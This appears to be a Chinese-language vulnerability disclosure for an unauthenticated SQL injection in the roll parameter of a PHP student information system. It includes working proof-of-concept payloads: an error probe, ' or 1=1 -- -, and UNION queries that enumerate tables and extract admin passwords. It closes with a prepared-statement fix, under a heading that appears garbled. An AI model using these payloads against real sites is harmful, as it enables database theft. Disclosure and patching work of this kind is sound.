| 字段 | 详情 |
|---|---|
| 产品 | 学生信息管理系统 |
| 厂商 | code-projects.org |
| 版本 | 1.0 |
| 漏洞类型 | SQL 注入(CWE-89) |
| CVE ID | 待定 |
| CVSS 评分 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 是否需要认证 | 否 |
| 受影响文件 | /SMS/index.php |
| 危险参数 | roll(POST) |
学生信息管理系统 1.0 的 index.php 文件中存在一个严重的 SQL 注入漏洞。通过 POST 请求传递的 roll 参数被直接拼接进原始 SQL 查询中,未进行任何过滤、输入验证或使用预处理语句。这使得未认证的远程攻击者能够注入任意 SQL 并执行基于 UNION 的数据提取,从而转储整个数据库服务器,包括凭据表。
该漏洞存在于面向公众的学生搜索表单中,无需任何认证即可利用。
文件: index.php(第 51–59 行)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
$Standard 和 $RollNo 均直接取自 $_POST,未进行任何转义或参数化处理。攻击者通过控制 roll 参数即可跳出 SQL 字符串上下文并注入任意查询。
导航至应用程序主页并输入有效的学号:
http://<TARGET>/SMS/index.php
在学号字段中输入 1001 → 应用程序正常返回学生记录。
在学号字段中输入单引号 ' 并点击 SHOW INFO。
结果: MariaDB 抛出致命错误,暴露了原始 SQL 查询和文件路径:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Payload:
' or 1=1 -- -
结果: 在未输入任何有效学号的情况下,数据库中的所有学生记录均被返回,确认该注入点可利用。
Burp Suite 请求:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
结果: name 列(UNION 中的第 3 位)回显了 MySQL 实例上所有数据库中的每个表名——包括 admin、global_priv、users、mysql.user 以及同一 XAMPP 实例上安装的其他多个应用程序的凭据表。
转储结果揭示了敏感表,包括同一服务器上其他数据库中的 admin、users、global_priv 和 tbl_admin。攻击者可以通过以下方式提取凭据:
roll=1' union select null,null,password,null,null,null,null from admin-- -
结合详细的错误输出(步骤 2),完整文件路径泄露也已确认:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
admin 表转储实现使用带绑定参数的预处理语句:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
此外,在生产环境中应禁用详细的 PHP/MySQL 错误输出,在 php.ini 中设置 display_errors = Off。
研究人员: Imad Alvi